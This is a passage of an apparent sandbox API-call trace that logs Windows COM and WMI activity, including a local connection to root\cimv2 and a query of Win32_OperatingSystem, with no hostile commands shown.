[7]=0x90)), ppvObject=0x1d2dcf88 | out: ppvObject=0x1d2dcf88*=0x0) returned 0x80004002 [0254.496] WbemLocator:IUnknown:AddRef (This=0x1d496a80) returned 0x3 [0254.496] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496a80, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dce48 | out: ppvObject=0x1d2dce48*=0x0) returned 0x80004002 [0254.496] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496a80, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcdd0 | out: ppvObject=0x1d2dcdd0*=0x0) returned 0x80004002 [0254.496] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496a80, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcdc0 | out: ppvObject=0x1d2dcdc0*=0x0) returned 0x80004002 [0254.497] CoGetContextToken (in: pToken=0x1d2dce70 | out: pToken=0x1d2dce70) returned 0x0 [0254.497] CoGetObjectContext (in: riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d471748 | out: ppv=0x1d471748*=0x4b00f0) returned 0x0 [0254.498] CoGetContextToken (in: pToken=0x1d2dd2f0 | out: pToken=0x1d2dd2f0) returned 0x0 [0254.498] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496a80, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd3b0 | out: ppvObject=0x1d2dd3b0*=0x0) returned 0x80004002 [0254.498] WbemLocator:IUnknown:Release (This=0x1d496a80) returned 0x2 [0254.498] WbemLocator:IUnknown:Release (This=0x1d496a80) returned 0x1 [0254.498] CoGetContextToken (in: pToken=0x1d2ddd30 | out: pToken=0x1d2ddd30) returned 0x0 [0254.498] CoGetContextToken (in: pToken=0x1d2ddc30 | out: pToken=0x1d2ddc30) returned 0x0 [0254.498] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496a80, riid=0x1d2ddd90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2ddd60 | out: ppvObject=0x1d2ddd60*=0x1d496a80) returned 0x0 [0254.498] WbemLocator:IUnknown:AddRef (This=0x1d496a80) returned 0x3 [0254.499] WbemLocator:IUnknown:Release (This=0x1d496a80) returned 0x2 [0254.499] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de168 | out: puCount=0x1d2de168*=0x2) returned 0x0 [0254.499] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de160*=0xf, pszText=0x0) returned 0x0 [0254.499] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de160*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0254.499] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d2ddeb0 | out: ppv=0x1d2ddeb0*=0x1d497040) returned 0x0 [0254.499] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d497040, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1d2de028 | out: ppNamespace=0x1d2de028*=0x1d4751d0) returned 0x0 [0254.529] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4751d0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddd28 | out: ppvObject=0x1d2ddd28*=0x1b351340) returned 0x0 [0254.529] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b351340, pProxy=0x1d4751d0, pAuthnSvc=0x1d2dddf0, pAuthzSvc=0x1d2ddd70, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74, pImpLevel=0x1d2ddd80, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84 | out: pAuthnSvc=0x1d2dddf0*=0xa, pAuthzSvc=0x1d2ddd70*=0x0, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74*=0x6, pImpLevel=0x1d2ddd80*=0x2, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84*=0x1) returned 0x0 [0254.529] WbemLocator:IUnknown:Release (This=0x1b351340) returned 0x1 [0254.529] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4751d0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcc0 | out: ppvObject=0x1d2ddcc0*=0x1b351388) returned 0x0 [0254.529] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4751d0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcd0 | out: ppvObject=0x1d2ddcd0*=0x1b351340) returned 0x0 [0254.529] WbemLocator:IClientSecurity:SetBlanket (This=0x1b351340, pProxy=0x1d4751d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0254.529] WbemLocator:IUnknown:Release (This=0x1b351340) returned 0x2 [0254.529] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x1 [0254.529] CoTaskMemFree (pv=0x1d4718c0) [0254.530] WbemLocator:IUnknown:Release (This=0x1d497040) returned 0x0 [0254.530] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4751d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd7c0 | out: ppvObject=0x1d2dd7c0*=0x1b351388) returned 0x0 [0254.530] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd850 | out: ppvObject=0x1d2dd850*=0x0) returned 0x80004002 [0254.530] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x0) returned 0x80004002 [0254.531] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4751d0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd048 | out: ppvObject=0x1d2dd048*=0x0) returned 0x80004002 [0254.532] WbemLocator:IUnknown:AddRef (This=0x1b351388) returned 0x3 [0254.532] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcf08 | out: ppvObject=0x1d2dcf08*=0x0) returned 0x80004002 [0254.532] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dce90 | out: ppvObject=0x1d2dce90*=0x0) returned 0x80004002 [0254.532] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dce80 | out: ppvObject=0x1d2dce80*=0x1b351268) returned 0x0 [0254.532] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351268, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcea8 | out: pCid=0x1d2dcea8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0254.532] WbemLocator:IUnknown:Release (This=0x1b351268) returned 0x3 [0254.532] CoGetContextToken (in: pToken=0x1d2dcf30 | out: pToken=0x1d2dcf30) returned 0x0 [0254.532] CoGetContextToken (in: pToken=0x1d2dd3b0 | out: pToken=0x1d2dd3b0) returned 0x0 [0254.532] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b351350) returned 0x0 [0254.533] WbemLocator:IRpcOptions:Query (in: This=0x1b351350, pPrx=0x1b351388, dwProperty=2, pdwValue=0x1d2dd460 | out: pdwValue=0x1d2dd460) returned 0x80004002 [0254.533] WbemLocator:IUnknown:Release (This=0x1b351350) returned 0x3 [0254.533] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x2 [0254.533] CoGetContextToken (in: pToken=0x1d2dda70 | out: pToken=0x1d2dda70) returned 0x0 [0254.533] CoGetContextToken (in: pToken=0x1d2dd970 | out: pToken=0x1d2dd970) returned 0x0 [0254.533] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x1d2ddad0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1d2ddaa0 | out: ppvObject=0x1d2ddaa0*=0x1d4751d0) returned 0x0 [0254.533] WbemLocator:IUnknown:AddRef (This=0x1d4751d0) returned 0x4 [0254.533] WbemLocator:IUnknown:Release (This=0x1d4751d0) returned 0x3 [0254.534] WbemLocator:IUnknown:Release (This=0x1d4751d0) returned 0x2 [0254.534] SysStringLen (param_1=0x0) returned 0x0 [0254.534] CoGetContextToken (in: pToken=0x1d2ddba0 | out: pToken=0x1d2ddba0) returned 0x0 [0254.534] WbemLocator:IUnknown:AddRef (This=0x1b351388) returned 0x3 [0254.534] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddba0 | out: ppvObject=0x1d2ddba0*=0x1b351388) returned 0x0 [0254.534] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x3 [0254.534] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x2 [0254.534] CoGetContextToken (in: pToken=0x1d2ddcd0 | out: pToken=0x1d2ddcd0) returned 0x0 [0254.534] WbemLocator:IUnknown:AddRef (This=0x1d4751d0) returned 0x3 [0254.534] IWbemServices:ExecQuery (in: This=0x1d4751d0, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1d2de178 | out: ppEnum=0x1d2de178*=0x1d35c4e0) returned 0x0 [0254.557] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde48 | out: ppvObject=0x1d2dde48*=0x1d35c4e8) returned 0x0 [0254.557] IClientSecurity:QueryBlanket (in: This=0x1d35c4e8, pProxy=0x1d35c4e0, pAuthnSvc=0x1d2ddf10, pAuthzSvc=0x1d2dde90, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94, pImpLevel=0x1d2ddea0, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4 | out: pAuthnSvc=0x1d2ddf10*=0xa, pAuthzSvc=0x1d2dde90*=0x0, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94*=0x6, pImpLevel=0x1d2ddea0*=0x2, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4*=0x1) returned 0x0 [0254.557] IUnknown:Release (This=0x1d35c4e8) returned 0x1 [0254.557] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddde0 | out: ppvObject=0x1d2ddde0*=0x1b3511e8) returned 0x0 [0254.557] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dddf0 | out: ppvObject=0x1d2dddf0*=0x1d35c4e8) returned 0x0 [0254.557] IClientSecurity:SetBlanket (This=0x1d35c4e8, pProxy=0x1d35c4e0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0254.573] IUnknown:Release (This=0x1d35c4e8) returned 0x2 [0254.573] WbemLocator:IUnknown:Release (This=0x1b3511e8) returned 0x1 [0254.573] CoTaskMemFree (pv=0x1d471d70) [0254.573] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8b0 | out: ppvObject=0x1d2dd8b0*=0x1b3511e8) returned 0x0 [0254.574] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd940 | out: ppvObject=0x1d2dd940*=0x0) returned 0x80004002 [0254.574] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x0) returned 0x80004002 [0254.575] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd138 | out: ppvObject=0x1d2dd138*=0x0) returned 0x80004002 [0254.575] WbemLocator:IUnknown:AddRef (This=0x1b3511e8) returned 0x3 [0254.575] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcff8 | out: ppvObject=0x1d2dcff8*=0x0) returned 0x80004002 [0254.575] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcf80 | out: ppvObject=0x1d2dcf80*=0x0) returned 0x80004002 [0254.575] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf70 | out: ppvObject=0x1d2dcf70*=0x1b3510c8) returned 0x0 [0254.575] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3510c8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcf98 | out: pCid=0x1d2dcf98*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0254.576] WbemLocator:IUnknown:Release (This=0x1b3510c8) returned 0x3 [0254.576] CoGetContextToken (in: pToken=0x1d2dd020 | out: pToken=0x1d2dd020) returned 0x0 [0254.576] CoGetContextToken (in: pToken=0x1d2dd4a0 | out: pToken=0x1d2dd4a0) returned 0x0 [0254.576] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x1b3511b0) returned 0x0 [0254.576] WbemLocator:IRpcOptions:Query (in: This=0x1b3511b0, pPrx=0x1b3511e8, dwProperty=2, pdwValue=0x1d2dd550 | out: pdwValue=0x1d2dd550) returned 0x80004002 [0254.576] WbemLocator:IUnknown:Release (This=0x1b3511b0) returned 0x3 [0254.576] WbemLocator:IUnknown:Release (This=0x1b3511e8) returned 0x2 [0254.576] CoGetContextToken (in: pToken=0x1d2ddb60 | out: pToken=0x1d2ddb60) returned 0x0 [0254.576] CoGetContextToken (in: pToken=0x1d2dda60 | out: pToken=0x1d2dda60) returned 0x0 [0254.576] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x1d2ddbc0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddb90 | out: ppvObject=0x1d2ddb90*=0x1d35c4e0) returned 0x0 [0254.576] IUnknown:AddRef (This=0x1d35c4e0) returned 0x4 [0254.576] IUnknown:Release (This=0x1d35c4e0) returned 0x3 [0254.576] IUnknown:Release (This=0x1d35c4e0) returned 0x2 [0254.576] WbemLocator:IUnknown:Release (This=0x1d4751d0) returned 0x2 [0254.577] SysStringLen (param_1=0x0) returned 0x0 [0254.577] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de1b8 | out: puCount=0x1d2de1b8*=0x2) returned 0x0 [0254.577] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de1b0*=0xf, pszText=0x0) returned 0x0 [0254.577] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de1b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0254.639] CoGetContextToken (in: pToken=0x1d2ddcf0 | out: pToken=0x1d2ddcf0) returned 0x0 [0254.639] IUnknown:AddRef (This=0x1d35c4e0) returned 0x3 [0254.639] IEnumWbemClassObject:Clone (in: This=0x1d35c4e0, ppEnum=0x1d2de0f0 | out: ppEnum=0x1d2de0f0*=0x1d35b520) returned 0x0 [0254.641] IUnknown:QueryInterface (in: This=0x1d35b520, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde78 | out: ppvObject=0x1d2dde78*=0x1d35b528) returned 0x0 [0254.641] IClientSecurity:QueryBlanket (in: This=0x1d35b528, pProxy=0x1d35b520, pAuthnSvc=0x1d2ddf40, pAuthzSvc=0x1d2ddec0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4, pImpLevel=0x1d2dded0, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4 | out: pAuthnSvc=0x1d2ddf40*=0xa, pAuthzSvc=0x1d2ddec0*=0x0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4*=0x6, pImpLevel=0x1d2dded0*=0x2, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4*=0x1) returned 0x0 [0254.641] IUnknown:Release (This=0x1d35b528) returned 0x1 [0254.641] IUnknown:QueryInterface (in: This=0x1d35b520, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde10 | out: ppvObject=0x1d2dde10*=0x1b351ba8) returned 0x0 [0254.641] IUnknown:QueryInterface (in: This=0x1d35b520, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde20 | out: ppvObject=0x1d2dde20*=0x1d35b528) returned 0x0 [0254.641] IClientSecurity:SetBlanket (This=0x1d35b528, pProxy=0x1d35b520, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0254.643] IUnknown:Release (This=0x1d35b528) returned 0x2 [0254.643] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x1 [0254.643] CoTaskMemFree (pv=0x1d471950) [0254.643] IUnknown:QueryInterface (in: This=0x1d35b520, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8d0 | out: ppvObject=0x1d2dd8d0*=0x1b351ba8) returned 0x0 [0254.643] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd960 | out: ppvObject=0x1d2dd960*=0x0) returned 0x80004002 [0254.644] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x0) returned 0x80004002 [0254.644] IUnknown:QueryInterface (in: This=0x1d35b520, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd158 | out: ppvObject=0x1d2dd158*=0x0) returned 0x80004002 [0254.645] WbemLocator:IUnknown:AddRef (This=0x1b351ba8) returned 0x3 [0254.645] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dd018 | out: ppvObject=0x1d2dd018*=0x0) returned 0x80004002 [0254.645] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcfa0 | out: ppvObject=0x1d2dcfa0*=0x0) returned 0x80004002 [0254.645] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf90 | out: ppvObject=0x1d2dcf90*=0x1b351a88) returned 0x0 [0254.645] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351a88, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcfb8 | out: pCid=0x1d2dcfb8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0254.645] WbemLocator:IUnknown:Release (This=0x1b351a88) returned 0x3 [0254.645] CoGetContextToken (in: pToken=0x1d2dd040 | out: pToken=0x1d2dd040) returned 0x0 [0254.645] CoGetContextToken (in: pToken=0x1d2dd4c0 | out: pToken=0x1d2dd4c0) returned 0x0 [0254.645] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd580 | out: 